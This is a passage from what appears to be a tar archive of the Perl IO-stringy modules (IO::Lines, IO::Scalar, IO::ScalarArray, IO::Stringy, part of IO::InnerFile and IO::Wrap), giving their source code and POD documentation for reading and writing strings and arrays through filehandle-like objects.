    ### Save and seek...
    my $old_pos = $self->{FH}->tell;
    $self->{FH}->seek($self->{CRPOS}+$self->{START}, 0);

    ### ...read...
    my $lg = $self->{FH}->read($data, 1);
    $self->{CRPOS} += $lg;
    
    ### ...and restore:
    $self->{FH}->seek($old_pos, 0);

    $self->{LG} = $self->{CRPOS} unless ($lg); 
    return ($lg ? $data : undef);
}

sub READ   { 
    my ($self, $undefined, $lg, $ofs) = @_;
    $undefined = undef;

    return 0 if ($self->{CRPOS} >= $self->{LG});
    $lg = $self->{LG} - $self->{CRPOS} if ($self->{CRPOS} + $lg > $self->{LG});
    return 0 unless ($lg);

    ### Save and seek...
    my $old_pos = $self->{FH}->tell;
    $self->{FH}->seek($self->{CRPOS}+$self->{START}, 0);

    ### ...read...
    $lg = $self->{FH}->read($_[1], $lg, $_[3] );
    $self->{CRPOS} += $lg;
    
    ### ...and restore:
    $self->{FH}->seek($old_pos, 0);

    $self->{LG} = $self->{CRPOS} unless ($lg); 
    return $lg;
}

sub READLINE { 
    my ($self) = @_;
    return undef if ($self->{CRPOS} >= $self->{LG});

    ### Save and seek...
    my $old_pos = $self->{FH}->tell;
    $self->{FH}->seek($self->{CRPOS}+$self->{START}, 0);

    ### ...read...
    my $text = $self->{FH}->getline;

    ### ...and restore:
    $self->{FH}->seek($old_pos, 0);

    #### If we detected a new EOF ...
    unless (defined $text) {  
       $self->{LG} = $self->{CRPOS};
       return undef;
    }

    my $lg=length($text);

    $lg = $self->{LG} - $self->{CRPOS} if ($self->{CRPOS} + $lg > $self->{LG});
    $self->{CRPOS} += $lg;

    return substr($text, 0,$lg);
}

sub CLOSE { %{$_[0]}=(); }



1;
__END__

=back


=head1 AUTHOR

Original version by Doru Petrescu (pdoru@kappa.ro).

Documentation and current maintenance by Eryq (eryq@zeegee.com).

=cut


wm357/IO/Lines.pm100755    312    144        7160  7124606126  12703 0ustar  webmailuserspackage IO::Lines;


=head1 NAME

IO::Lines - IO:: interface for reading/writing an array of lines


=head1 SYNOPSIS

    use IO::Lines;
     
    # See IO::ScalarArray for details 


=head1 DESCRIPTION

This class implements objects which behave just like FileHandle
(or IO::Handle) objects, except that you may use them to write to
(or read from) an array of lines.  They can be tiehandle'd as well.  

This is a subclass of L<IO::ScalarArray> in which the underlying
array has its data stored in a line-oriented-format: that is,
every element ends in a C<"\n">, with the possible exception of the
final element.  This makes C<getline()> I<much> more efficient;
if you plan to do line-oriented reading/printing, you want this class.

The C<print()> method will enforce this rule, so you can print
arbitrary data to the line-array: it will break the data at
newlines appropriately.

See L<IO::ScalarArray> for full usage.

=cut

use Carp;
use strict;
use IO::ScalarArray;
use vars qw($VERSION @ISA);

# The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 1.109 $, 10;

# Inheritance:
@ISA = qw(IO::ScalarArray);     # also gets us new_tie  :-)


#------------------------------
# getline
#------------------------------
# Instance method, override.
# Return the next line, or undef on end of data.
# Can safely be called in an array context.
# Currently, lines are delimited by "\n".
#
sub getline {
    my $self = shift;
    if (!defined $/) {
	return join( '' => $self->getlines );
    }
    ($/ eq "\n")
	or croak '$/ must be "\n" or undef, not ', "'$/'.";

    if (!$self->{Pos}) {      # full line...
	return $self->{AR}[$self->{Str}++];
    }
    else {                    # partial line...
	my $partial = substr($self->{AR}[$self->{Str}++], $self->{Pos});
	$self->{Pos} = 0;
	return $partial;
    }
}

#------------------------------
# getlines
#------------------------------
# Instance method, override.
# Return an array comprised of the remaining lines, or () on end of data.
# Must be called in an array context.
# Currently, lines are delimited by "\n".
#
sub getlines {
    my $self = shift;
    wantarray or croak("Can't call getlines in scalar context!");

    my ($rArray, $Str, $Pos) = @$self{ qw( AR Str Pos ) };
    my @partial = ();

    if ($Pos) {					# partial line...
	@partial = (substr( $rArray->[ $Str++ ], $Pos ));
	$self->{Pos} = 0;
    }
    $self->{Str} = scalar @$rArray;		# about to exhaust @$rArray
    return (@partial,
	    @$rArray[ $Str .. $#$rArray ]);	# remaining full lines...
}

#------------------------------
# print ARGS...
#------------------------------
# Instance method, override.
# Print ARGS to the underlying line array.  
#
sub print {
    my $self = shift;
    ### print STDERR "\n[[ARRAY WAS...\n", @{$self->{AR}}, "<<EOF>>\n";
    my @lines = split /^/, join('', @_); @lines or return 1;

    # Did the previous print not end with a newline?  If so, append first line:
    if (@{$self->{AR}} and ($self->{AR}[-1] !~ /\n\Z/)) {
	$self->{AR}[-1] .= shift @lines;
    }
    push @{$self->{AR}}, @lines;       # add the remainder
    ### print STDERR "\n[[ARRAY IS NOW...\n", @{$self->{AR}}, "<<EOF>>\n";
    1;
}

#------------------------------
1;

__END__


=head1 VERSION

$Id: Lines.pm,v 1.109 2000/05/03 12:14:49 eryq Exp $


=head1 AUTHORS


=head2 Principal author

Eryq (F<eryq@zeegee.com>).
President, ZeeGee Software Inc (F<http://www.zeegee.com>).


=head2 Other contributors 

Thanks to the following individuals for their invaluable contributions
(if I've forgotten or misspelled your name, please email me!):

I<Morris M. Siegel,>
for his $/ patch and the new C<getlines()>.

=cut

wm357/IO/Scalar.pm100755    312    144       23600  7124606126  13053 0ustar  webmailuserspackage IO::Scalar;


=head1 NAME

IO::Scalar - IO:: interface for reading/writing a scalar


=head1 SYNOPSIS

If you have any Perl5, you can use the basic OO interface...

    use IO::Scalar;
    
    # Open a handle on a string:
    $SH = new IO::Scalar;
    $SH->open(\$somestring);
    
    # Open a handle on a string, read it line-by-line, then close it:
    $SH = new IO::Scalar \$somestring;
    while ($_ = $SH->getline) { print "Line: $_" }
    $SH->close;
        
    # Open a handle on a string, and slurp in all the lines:
    $SH = new IO::Scalar \$somestring;
    print $SH->getlines; 
     
    # Open a handle on a string, and append to it:
    $SH = new IO::Scalar \$somestring
    $SH->print("bar\n");        ### will add "bar\n" to the end   
      
    # Get the current position:
    $pos = $SH->getpos;         ### $SH->tell() also works
     
    # Set the current position:
    $SH->setpos($pos);          ### $SH->seek(POS,WHENCE) also works
        
    # Open an anonymous temporary scalar:
    $SH = new IO::Scalar;
    $SH->print("Hi there!");
    print "I got: ", ${$SH->sref}, "\n";      ### get at value

If your Perl is 5.004 or later, you can use the TIEHANDLE
interface, and read/write scalars just like files:

    use IO::Scalar;

    # Writing to a scalar...
    my $s; 
    tie *OUT, 'IO::Scalar', \$s;
    print OUT "line 1\nline 2\n", "line 3\n";
    print "s is now... $s\n"
     
    # Reading and writing an anonymous scalar... 
    tie *OUT, 'IO::Scalar';
    print OUT "line 1\nline 2\n", "line 3\n";
    tied(OUT)->seek(0,0);
    while (<OUT>) { print "LINE: ", $_ }


=head1 DESCRIPTION

This class implements objects which behave just like FileHandle
(or IO::Handle) objects, except that you may use them to write to
(or read from) scalars.  They can be tiehandle'd as well.  

Basically, this:

    my $s;
    $SH = new IO::Scalar \$s;
    $SH->print("Hel", "lo, ");         # OO style
    $SH->print("world!\n");            # ditto

Or this (if you have 5.004 or later):

    my $s;
    $SH = tie *OUT, 'IO::Scalar', \$s;
    print OUT "Hel", "lo, ";           # non-OO style
    print OUT "world!\n";              # ditto

Or this (if you have 5.004 or later):

    my $s;
    $SH = IO::Scalar->new_tie(\$s);
    $SH->print("Hel", "lo, ");         # OO style...
    print $SH "world!\n";              # ...or non-OO style!

Causes $s to be set to:    

    "Hello, world!\n" 


=head1 PUBLIC INTERFACE

=cut

use Carp;
use strict;
use vars qw($VERSION @ISA);

# The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 1.119 $, 10;

# Inheritance:
require IO::WrapTie and push @ISA, 'IO::WrapTie::Slave' if ($] >= 5.004);


#==============================

=head2 Construction 

=over 4

=cut

#------------------------------

=item new [ARGS...]

I<Class method.>
Return a new, unattached scalar handle.  
If any arguments are given, they're sent to open().

=cut

sub new {
    my $self = bless {}, shift;
    $self->open(@_) if @_;
    $self;
}
sub DESTROY { 
    shift->close;
}

#------------------------------

=item open [SCALARREF]

I<Instance method.>
Open the scalar handle on a new scalar, pointed to by SCALARREF.
If no SCALARREF is given, a "private" scalar is created to hold
the file data.

Returns the self object on success, undefined on error.

=cut

sub open {
    my ($self, $sref) = @_;

    # Sanity:
    defined($sref) or do {my $s = ''; $sref = \$s};
    (ref($sref) eq "SCALAR") or croak "open() needs a ref to a scalar";

    # Setup:
    $self->{Pos} = 0;
    $self->{SR} = $sref;
    $self;
}

#------------------------------

=item opened

I<Instance method.>
Is the scalar handle opened on something?

=cut

sub opened {
    shift->{SR};
}

#------------------------------

=item close

I<Instance method.>
Disassociate the scalar handle from its underlying scalar.
Done automatically on destroy.

=cut

sub close {
    my $self = shift;
    %$self = ();
    1;
}

=back

=cut



#==============================

=head2 Input and output

=over 4

=cut


#------------------------------

=item flush 

I<Instance method.>
No-op, provided for OO compatibility.

=cut

sub flush {} 

#------------------------------

=item getc

I<Instance method.>
Return the next character, or undef if none remain.

=cut

sub getc {
    my $self = shift;
    
    # Return undef right away if at EOF; else, move pos forward:
    return undef if $self->eof;  
    substr(${$self->{SR}}, $self->{Pos}++, 1);
}
 
#------------------------------

=item getline

I<Instance method.>
Return the next line, or undef on end of string.  
Can safely be called in an array context.
Currently, lines are delimited by "\n".

=cut

sub getline {
    my $self = shift;

    # Return undef right away if at EOF:
    return undef if $self->eof;

    # Get next line:
    my $sr = $self->{SR};
    my $i = $self->{Pos};	        # Start matching at this point.
    my $len = length(${$sr});
    for (; $i < $len; ++$i) {
	last if ord (substr (${$sr}, $i, 1)) == 10;
    }

    # Extract the line:
    my $line;
    if ($i < $len) {
	$line = substr (${$sr}, $self->{Pos}, $i - $self->{Pos} + 1);
	$self->{Pos} = $i+1;            # Remember where we finished up.
    }
    else {
	$line = substr (${$sr}, $self->{Pos}, $i - $self->{Pos});
        $self->{Pos} = $len;
    }
    return $line; 
}

#------------------------------

=item getlines

I<Instance method.>
Get all remaining lines.
It will croak() if accidentally called in a scalar context.

=cut

sub getlines {
    my $self = shift;
    wantarray or croak("Can't call getlines in scalar context!");
    my ($line, @lines);
    push @lines, $line while (defined($line = $self->getline));
    @lines;
}

#------------------------------

=item print ARGS...

I<Instance method.>
Print ARGS to the underlying scalar.  

B<Warning:> Currently, this always causes a "seek to the end of the string"; 
this may change in the future.

=cut

sub print {
    my $self = shift;
    ${$self->{SR}} .= join('', @_);
    $self->{Pos} = length(${$self->{SR}});
    1;
}

#------------------------------

=item read BUF, NBYTES, [OFFSET]

I<Instance method.>
Read some bytes from the scalar.
Returns the number of bytes actually read, 0 on end-of-file, undef on error.

=cut

sub read {
    my $self = $_[0];
    my $n    = $_[2];
    my $off  = $_[3] || 0;

    my $read = substr(${$self->{SR}}, $self->{Pos}, $n);
    $n = length($read);
    $self->{Pos} += $n;
    ($off ? substr($_[1], $off) : $_[1]) = $read;
    return $n;
}

#------------------------------

=item write BUF, NBYTES, [OFFSET]

I<Instance method.>
Write some bytes to the scalar.

=cut

sub write {
    my $self = $_[0];
    my $n    = $_[2];
    my $off  = $_[3] || 0;

    my $data = substr($_[1], $n, $off);
    $n = length($data);
    $self->print($data);
    return $n;
}

=back

=cut


#==============================

=head2 Seeking/telling and other attributes

=over 4

=cut


#------------------------------

=item autoflush 

I<Instance method.>
No-op, provided for OO compatibility.

=cut

sub autoflush {} 

#------------------------------

=item binmode

I<Instance method.>
No-op, provided for OO compatibility.

=cut

sub binmode {} 

#------------------------------

=item clearerr

I<Instance method.>  Clear the error and EOF flags.  A no-op.

=cut

sub clearerr { 1 }

#------------------------------

=item eof 

I<Instance method.>  Are we at end of file?

=cut

sub eof {
    my $self = shift;
    ($self->{Pos} >= length(${$self->{SR}}));
}

#------------------------------

=item seek OFFSET, WHENCE

I<Instance method.>  Seek to a given position in the stream.

=cut

sub seek {
    my ($self, $pos, $whence) = @_;
    my $eofpos = length(${$self->{SR}});

    # Seek:
    if    ($whence == 0) { $self->{Pos} = $pos }             # SEEK_SET
    elsif ($whence == 1) { $self->{Pos} += $pos }            # SEEK_CUR
    elsif ($whence == 2) { $self->{Pos} = $eofpos + $pos}    # SEEK_END
    else                 { croak "bad seek whence ($whence)" }

    # Fixup:
    if ($self->{Pos} < 0)       { $self->{Pos} = 0 }
    if ($self->{Pos} > $eofpos) { $self->{Pos} = $eofpos }
    1;
}

#------------------------------

=item tell

I<Instance method.>
Return the current position in the stream, as a numeric offset.

=cut

sub tell { shift->{Pos} }

#------------------------------

=item setpos POS

I<Instance method.>
Set the current position, using the opaque value returned by C<getpos()>.

=cut

sub setpos { shift->seek($_[0],0) }

#------------------------------

=item getpos 

I<Instance method.>
Return the current position in the string, as an opaque object.

=cut

*getpos = \&tell;


#------------------------------

=item sref

I<Instance method.>
Return a reference to the underlying scalar.

=cut

sub sref { shift->{SR} }


#------------------------------
# Tied handle methods...
#------------------------------

# Conventional tiehandle interface:
sub TIEHANDLE { shift->new(@_) }
sub GETC      { shift->getc(@_) }
sub PRINT     { shift->print(@_) }
sub PRINTF    { shift->print(sprintf(shift, @_)) }
sub READ      { shift->read(@_) }
sub READLINE  { wantarray ? shift->getlines(@_) : shift->getline(@_) }
sub WRITE     { shift->write(@_); }
sub CLOSE     { shift->close(@_); }

#------------------------------------------------------------

1;
__END__



=back

=cut

=head1 VERSION

$Id: Scalar.pm,v 1.119 2000/05/03 12:14:50 eryq Exp $


=head1 AUTHORS


=head2 Principal author

Eryq (F<eryq@zeegee.com>).
President, ZeeGee Software Inc (F<http://www.zeegee.com>).


=head2 Other contributors 

Thanks to the following individuals for their invaluable contributions
(if I've forgotten or misspelled your name, please email me!):

I<Andy Glew,>
for contributing C<getc()>.

I<Brandon Browning,>
for suggesting C<opened()>.

I<David Richter,>
for finding and fixing the bug in C<PRINTF()>.

I<Eric L. Brine,>
for his offset-using read() and write() implementations. 

I<Rich> (at Annexia),
for his patch to massively improve the performance of C<getline()>.


=cut
wm357/IO/ScalarArray.pm100755    312    144       30172  7124606126  14054 0ustar  webmailuserspackage IO::ScalarArray;


=head1 NAME

IO::ScalarArray - IO:: interface for reading/writing an array of scalars


=head1 SYNOPSIS

If you have any Perl5, you can use the basic OO interface...

    use IO::ScalarArray;
    
    # Open a handle on an array-of-scalars:
    $AH = new IO::ScalarArray;
    $AH->open(\@a);
    
    # Open a handle on an array-of-scalars, read it line-by-line, 
    # then close it:
    $AH = new IO::ScalarArray \@a;
    while ($_ = $AH->getline) { print "Line: $_" }
    $AH->close;
        
    # Open a handle on an array-of-scalars, and slurp in all the lines:
    $AH = new IO::ScalarArray \@a;
    print $AH->getlines; 
     
    # Open a handle on an array-of-scalars, and append to it:
    $AH = new IO::ScalarArray \@a;
    $AH->print("bar\n");
    print "some string is now: ", $somestring, "\n";
      
    # Get the current position:
    $pos = $AH->getpos;         ### $AH->tell() also works
     
    # Set the current position:
    $AH->setpos($pos);          ### $AH->seek(POS,WHENCE) also works
      
    # Open an anonymous temporary scalar array:
    $AH = new IO::ScalarArray;
    $AH->print("Hi there!\nHey there!\n");
    $AH->print("Ho there!\n");
    print "I got: ", @{$AH->aref}, "\n";      ### get at value

If your Perl is 5.004 or later, you can use the TIEHANDLE
interface, and read/write as array-of-scalars just like files:

    use IO::ScalarArray;

    # Writing to a scalar array...
    my @a; 
    tie *OUT, 'IO::ScalarArray', \@a;
    print OUT "line 1\nline 2\n", "line 3\n";
    print "s is now... [", join('', @a), "]\n"; 
     
    # Reading and writing an anonymous scalar array... 
    tie *OUT, 'IO::ScalarArray';
    print OUT "line 1\nline 2\n", "line 3\n";
    tied(OUT)->seek(0,0);
    while (<OUT>) { print "LINE: ", $_ }


=head1 DESCRIPTION

This class implements objects which behave just like FileHandle
(or IO::Handle) objects, except that you may use them to write to
(or read from) scalars.  They can be tiehandle'd as well.  

For writing large amounts of data with individual print() statements, 
this is likely to be more efficient than IO::Scalar.

Basically, this:

    my @a;
    $AH = new IO::ScalarArray \@a;
    $AH->print("Hel", "lo, ");     
    $AH->print("world!\n");     

Or this (if you have 5.004 or later):

    my @a;
    $AH = tie *OUT, 'IO::ScalarArray', \@a;
    print OUT "Hel", "lo, "; 
    print OUT "world!\n"; 

Causes @a to be set to the following arrayt of 3 strings:

    ( "Hel" , 
      "lo, " , 
      "world!\n" )

Compare this with IO::Scalar.


=head1 PUBLIC INTERFACE

=cut

use Carp;
use strict;
use vars qw($VERSION @ISA);

# The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 1.116 $, 10;

# Inheritance:
require IO::WrapTie and push @ISA, 'IO::WrapTie::Slave' if ($] >= 5.004);


#==============================

=head2 Construction 

=over 4

=cut

#------------------------------

=item new [ARGS...]

I<Class method.>
Return a new, unattached array handle.  
If any arguments are given, they're sent to open().

=cut

sub new {
    my $self = bless {}, shift;
    $self->open(@_) if @_;
    $self;
}
sub DESTROY { 
    shift->close;
}


#------------------------------

=item open [ARRAYREF]

I<Instance method.>
Open the array handle on a new array, pointed to by ARRAYREF.
If no ARRAYREF is given, a "private" array is created to hold
the file data.

Returns the self object on success, undefined on error.

=cut

sub open {
    my ($self, $aref) = @_;

    # Sanity:
    defined($aref) or do {my @a; $aref = \@a};
    (ref($aref) eq "ARRAY") or croak "open needs a ref to a array";

    # Setup:
    $self->setpos([0,0]);
    $self->{AR} = $aref;
    $self;
}

#------------------------------

=item opened

I<Instance method.>
Is the array handle opened on something?

=cut

sub opened {
    shift->{AR};
}

#------------------------------

=item close

I<Instance method.>
Disassociate the array handle from its underlying array.
Done automatically on destroy.

=cut

sub close {
    my $self = shift;
    %$self = ();
    1;
}

=back

=cut



#==============================

=head2 Input and output

=over 4

=cut

#------------------------------

=item flush 

I<Instance method.>
No-op, provided for OO compatibility.

=cut

sub flush {} 

#------------------------------

=item getc

I<Instance method.>
Return the next character, or undef if none remain.
This does a read(1), which is somewhat costly.

=cut

sub getc {
    my $buf = '';
    ($_[0]->read($buf, 1) ? $buf : undef);
}

#------------------------------

=item getline

I<Instance method.>
Return the next line, or undef on end of data.
Can safely be called in an array context.
Currently, lines are delimited by "\n".

=cut

sub getline {
    my $self = shift;
    my ($str, $line) = (undef, '');

    # Until we hit EOF (or exitted because of a found line):
    until ($self->eof) {
	# If at end of current string, go forward to next one (won't be EOF):
	if ($self->_eos) {++$self->{Str}, $self->{Pos}=0};

	# Get ref to current string in array, and set internal pos marker:
	$str = \($self->{AR}[$self->{Str}]);  # get current string
	pos($$str) = $self->{Pos};            # start matching at this point

        # Get from here to either newline or end of string, and add to line:
	$$str =~ m/\G(.*?)((\n)|\Z)/g;        # match to 1st newline or EOS
	$line .= $1.$2;                       # add it
	$self->{Pos} += length($1.$2);        # move forward by amount matched
	return $line if $3;                   # done, got a line with "\n"
    }
    return ($line eq '') ? undef : $line;  # return undef if EOF
}

#------------------------------

=item getlines

I<Instance method.>
Get all remaining lines.
It will croak() if accidentally called in a scalar context.

=cut

sub getlines {
    my $self = shift;
    wantarray or croak("Can't call getlines in scalar context!");
    my ($line, @lines);
    push @lines, $line while (defined($line = $self->getline));
    @lines;
}

#------------------------------

=item print ARGS...

I<Instance method.>
Print ARGS to the underlying array.  

Currently, this always causes a "seek to the end of the array"
and generates a new array entry.  This may change in the future.

=cut

sub print {
    my $self = shift;
    push @{$self->{AR}}, join('', @_);      # add the data
    $self->setpos([scalar(@{$self->{AR}}), 0]);
    1;
}

#------------------------------

=item read BUF, NBYTES, [OFFSET];

I<Instance method.>
Read some bytes from the array.
Returns the number of bytes actually read, 0 on end-of-file, undef on error.

=cut

sub read {
    my $self = $_[0];
    my $n    = $_[2];
    my $off  = $_[3] || 0;

    ### print "getline\n";
    my $justread;
    my $len;
    ($off ? substr($_[1], $off) : $_[1]) = '';
    
    # Stop when we have zero bytes to go, or when we hit EOF:
    until (!$n or $self->eof) {       
        # If at end of current string, go forward to next one (won't be EOF):
        if ($self->_eos) {
            ++$self->{Str};
            $self->{Pos} = 0;
        }

        # Get longest possible desired substring of current string:
        $justread = substr($self->{AR}[$self->{Str}], $self->{Pos}, $n);
        $len = length($justread);
        $_[1] .= $justread;
        $n           -= $len; 
        $self->{Pos} += $len;
    }
    return length($_[1])-$off;
}

#------------------------------

=item write BUF, NBYTES, [OFFSET];

I<Instance method.>
Write some bytes into the array.

=cut

sub write {
    my $self = $_[0];
    my $n    = $_[2];
    my $off  = $_[3] || 0;

    my $data = substr($_[1], $n, $off);
    $n = length($data);
    $self->print($data);
    return $n;
}


=back

=cut



#==============================

=head2 Seeking/telling and other attributes

=over 4

=cut

#------------------------------

=item autoflush 

I<Instance method.>
No-op, provided for OO compatibility.

=cut

sub autoflush {} 

#------------------------------

=item binmode

I<Instance method.>
No-op, provided for OO compatibility.

=cut

sub binmode {} 

#------------------------------

=item clearerr

I<Instance method.>  Clear the error and EOF flags.  A no-op.

=cut

sub clearerr { 1 }

#------------------------------

=item eof 

I<Instance method.>  Are we at end of file?

=cut

sub eof {
    ### print "checking EOF [$self->{Str}, $self->{Pos}]\n";
    ### print "SR = ", $#{$self->{AR}}, "\n";
    return 0 if ($_[0]->{Str} < $#{$_[0]->{AR}});         # before EOA
    return 1 if ($_[0]->{Str} > $#{$_[0]->{AR}});         # after EOA
    (($_[0]->{Str} == $#{$_[0]->{AR}}) && ($_[0]->_eos)); # at EOA, past EOS
}

#------------------------------
#
# _eos
#
# I<Instance method, private.>  Are we at end of the CURRENT string?
#

sub _eos {
    ($_[0]->{Pos} >= length($_[0]->{AR}[$_[0]->{Str}]));  # past last char  
}

#------------------------------

=item seek POS,WHENCE

I<Instance method.>
Seek to a given position in the stream.
Only a WHENCE of 0 (SEEK_SET) is supported.

=cut

sub seek {
    my ($self, $pos, $whence) = @_; 
    die "IO::ScalarArray::seek: whence of $whence not supported\n" if $whence;

    # Advance through array until done:
    my $istr = 0;
    while (($pos >= 0) && ($istr < scalar(@{$self->{AR}}))) {
	if (length($self->{AR}[$istr]) > $pos) {  # it's in this string! 
	    return $self->setpos([$istr, $pos]);
	}
	else {                                    # it's in next string
	    $pos -= length($self->{AR}[$istr++]);    # move forward one string
	}
    }
    # If we reached this point, pos is at or past end; zoom to EOF:
    return $self->setpos([scalar(@{$self->{AR}}), 0]);
}

#------------------------------

=item tell

I<Instance method.>
Return the current position in the stream, as a numeric offset.

=cut

sub tell {
    my $self = shift;
    my $off = 0;
    my ($s, $str_s);
    for ($s = 0; $s < $self->{Str}; $s++) {      # count all "whole" scalars
	defined($str_s = $self->{AR}[$s]) or $str_s = '';
	###print STDERR "COUNTING STRING $s (". length($str_s) . ")\n";
	$off += length($str_s);
    }
    ###print STDERR "COUNTING POS ($self->{Pos})\n";
    return ($off += $self->{Pos});               # plus the final, partial one
}

#------------------------------

=item setpos POS

I<Instance method.>
Seek to a given position in the array, using the opaque getpos() value.
Don't expect this to be a number.

=cut

sub setpos { 
    my ($self, $pos) = @_;
    (ref($pos) eq 'ARRAY') or
	die "setpos: only use a value returned by getpos!\n";
    ($self->{Str}, $self->{Pos}) = @$pos;
}

#------------------------------

=item getpos

I<Instance method.>
Return the current position in the array, as an opaque value.
Don't expect this to be a number.

=cut

sub getpos {
    [$_[0]->{Str}, $_[0]->{Pos}];
}

#------------------------------

=item aref

I<Instance method.>
Return a reference to the underlying array.

=cut

sub aref {
    shift->{AR};
}

=back

=cut

#------------------------------
# Tied handle methods...
#------------------------------

# Conventional tiehandle interface:
sub TIEHANDLE { shift->new(@_) }
sub GETC      { shift->getc(@_) }
sub PRINT     { shift->print(@_) }
sub PRINTF    { shift->print(sprintf(shift, @_)) }
sub READ      { shift->read(@_) }
sub READLINE  { wantarray ? shift->getlines(@_) : shift->getline(@_) }
sub WRITE     { shift->write(@_); }
sub CLOSE     { shift->close(@_); }

#------------------------------------------------------------

1;
__END__

# SOME PRIVATE NOTES:
#
#     * The "current position" is the position before the next
#       character to be read/written.
#
#     * Str gives the string index of the current position, 0-based
#
#     * Pos gives the offset within AR[Str], 0-based.
#
#     * Inital pos is [0,0].  After print("Hello"), it is [1,0].


=head1 VERSION

$Id: ScalarArray.pm,v 1.116 2000/05/03 12:14:50 eryq Exp $


=head1 AUTHOR

=head2 Principal author

Eryq (F<eryq@zeegee.com>).
President, ZeeGee Software Inc (F<http://www.zeegee.com>).


=head2 Other contributors 

Thanks to the following individuals for their invaluable contributions
(if I've forgotten or misspelled your name, please email me!):

I<Andy Glew,>
for suggesting C<getc()>.

I<Brandon Browning,>
for suggesting C<opened()>.

I<Eric L. Brine,>
for his offset-using read() and write() implementations. 

=cut

#------------------------------
1;

wm357/IO/Stringy.pm100755    312    144        5263  7124606126  13272 0ustar  webmailuserspackage IO::Stringy;

use vars qw($VERSION);
$VERSION = substr q$Revision: 1.212 $, 10;

1;
__END__


=head1 NAME

IO-stringy - I/O on in-core objects like strings and arrays


=head1 SYNOPSIS

    IO::
    ::AtomicFile   adpO  Write a file which is updated atomically     ERYQ
    ::Lines        bdpO  I/O handle to read/write to array of lines   ERYQ
    ::Scalar       RdpO  I/O handle to read/write to a string         ERYQ
    ::ScalarArray  RdpO  I/O handle to read/write to array of scalars ERYQ
    ::Wrap         RdpO  Wrap old-style FHs in standard OO interface  ERYQ
    ::WrapTie      adpO  Tie your handles & retain full OO interface  ERYQ


=head1 DESCRIPTION

This toolkit primarily provides modules for performing both traditional 
and object-oriented i/o) on things I<other> than normal filehandles; 
in particular, L<IO::Scalar>, L<IO::ScalarArray>, and L<IO::Lines>.

If you have access to tie(), these classes will make use of the
L<IO::WrapTie> module to inherit a convenient new_tie() constructor.
It also exports a nice wraptie() function.

In the more-traditional IO::Handle front, we have L<IO::AtomicFile>
which may be used to painlessly create files which are updated
atomically.

And in the "this-may-prove-useful" corner, we have L<IO::Wrap>, whose
exported wraphandle() function will clothe anything that's not
a blessed object in an IO::Handle-like wrapper... so you can just
use OO syntax and stop worrying about whether your function's caller
handed you a string, a globref, or a FileHandle.


=head1 INSTALLATION

You know the drill...

    perl Makefile.PL
    make test
    make install


=head1 CHANGE LOG 

=over 4


=item Version 1.212

Fixed IO::InnerFile incompatibility with Perl5.004.
I<Thanks to many folks for reporting this.>


=item Version 1.210

Added flush() and other no-op methods.
I<Thanks to Doru Petrescu for suggesting this.>


=item Version 1.209

Small bug fixes.


=item Version 1.208

Incorporated a number of contributed patches and extensions,
mostly related to speed hacks, support for "offset", and
WRITE/CLOSE methods.


=item Version 1.206

Added creation of ./testout when Makefile.PL is run.


=item Version 1.205

Verified for Perl5.005.


=item Version 1.202

New IO::WrapTie and IO::AtomicFile added.


=item Version 1.110

Added IO::WrapTie.


=item Version 1.107

Added IO::Lines, and made some bug fixes to IO::ScalarArray. 
Also, added getc().


=item Version 1.105

No real changes; just upgraded IO::Wrap to have a $VERSION string.

=back




=head1 VERSION

$Id: Stringy.pm,v 1.212 2000/06/02 06:30:15 eryq Exp $




=head1 AUTHOR

Eryq (F<eryq@zeegee.com>).
President, ZeeGee Software Inc (F<http://www.zeegee.com>).

Enjoy.  Yell if it breaks.


=cut








wm357/IO/Wrap.pm100755    312    144       11373  7124606126  12563 0ustar  webmailuserspackage IO::Wrap;

# SEE DOCUMENTATION AT BOTTOM OF FILE

require 5.002;

use strict;
use vars qw(@ISA @EXPORT $VERSION);
@ISA = qw(Exporter);
@EXPORT = qw(wraphandle);

use FileHandle;
use Carp;

# The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 1.104 $, 10;


#------------------------------
# wraphandle RAW
#------------------------------
sub wraphandle {
    my $raw = shift;
    new IO::Wrap $raw;
}

#------------------------------
# new STREAM
#------------------------------
sub new {
    my ($class, $stream) = @_;
    no strict 'refs';

    # Convert raw scalar to globref:
    ref($stream) or $stream = \*$stream;

    # Wrap globref and incomplete objects:
    if ((ref($stream) eq 'GLOB') or      # globref
	(ref($stream) eq 'FileHandle') && !defined(&FileHandle::read)) {
	return bless \$stream, $class;
    }
    $stream;           # already okay!
}

#------------------------------
# I/O methods...
#------------------------------
sub close {
    my $self = shift;
    return close($$self);
}
sub getline {
    my $self = shift;
    my $fh = $$self;
    return scalar(<$fh>);
}
sub getlines {
    my $self = shift;
    wantarray or croak("Can't call getlines in scalar context!");
    my $fh = $$self;
    <$fh>;
}
sub print {
    my $self = shift;
    print { $$self } @_;
}
sub read {
    my $self = shift;
    return read($$self, $_[0], $_[1]);
}
sub seek {
    my $self = shift;
    return seek($$self, $_[0], $_[1]);
}
sub tell {
    my $self = shift;
    return tell($$self);
}

#------------------------------
1;
__END__


=head1 NAME

IO::Wrap - wrap raw filehandles in IO::Handle interface


=head1 SYNOPSIS

   use IO::Wrap;
       
   # Do stuff with any kind of filehandle (including a bare globref), or 
   # any kind of blessed object that responds to a print() message.
   #
   sub do_stuff {
       my $fh = shift;         
       
       ### At this point, we have no idea what the user gave us... 
       ### a globref? a FileHandle? a scalar filehandle name?
       
       $fh = wraphandle($fh);  
        
       ### At this point, we know we have an IO::Handle-like object!
       
       $fh->print("Hey there!");
       ...
   }
    

=head1 DESCRIPTION

Let's say you want to write some code which does I/O, but you don't 
want to force the caller to provide you with a FileHandle or IO::Handle
object.  You want them to be able to say:

    do_stuff(\*STDOUT);
    do_stuff('STDERR');
    do_stuff($some_FileHandle_object);
    do_stuff($some_IO_Handle_object);

And even:

    do_stuff($any_object_with_a_print_method);

Sure, one way to do it is to force the caller to use tiehandle().  
But that puts the burden on them.  Another way to do it is to 
use B<IO::Wrap>, which provides you with the following functions:


=over 4

=item wraphandle SCALAR

This function will take a single argument, and "wrap" it based on
what it seems to be...

=over 4

=item *

B<A raw scalar filehandle name,> like C<"STDOUT"> or C<"Class::HANDLE">.
In this case, the filehandle name is wrapped in an IO::Wrap object, 
which is returned.

=item *

B<A raw filehandle glob,> like C<\*STDOUT>.
In this case, the filehandle glob is wrapped in an IO::Wrap object, 
which is returned.

=item *

B<A blessed FileHandle object.>
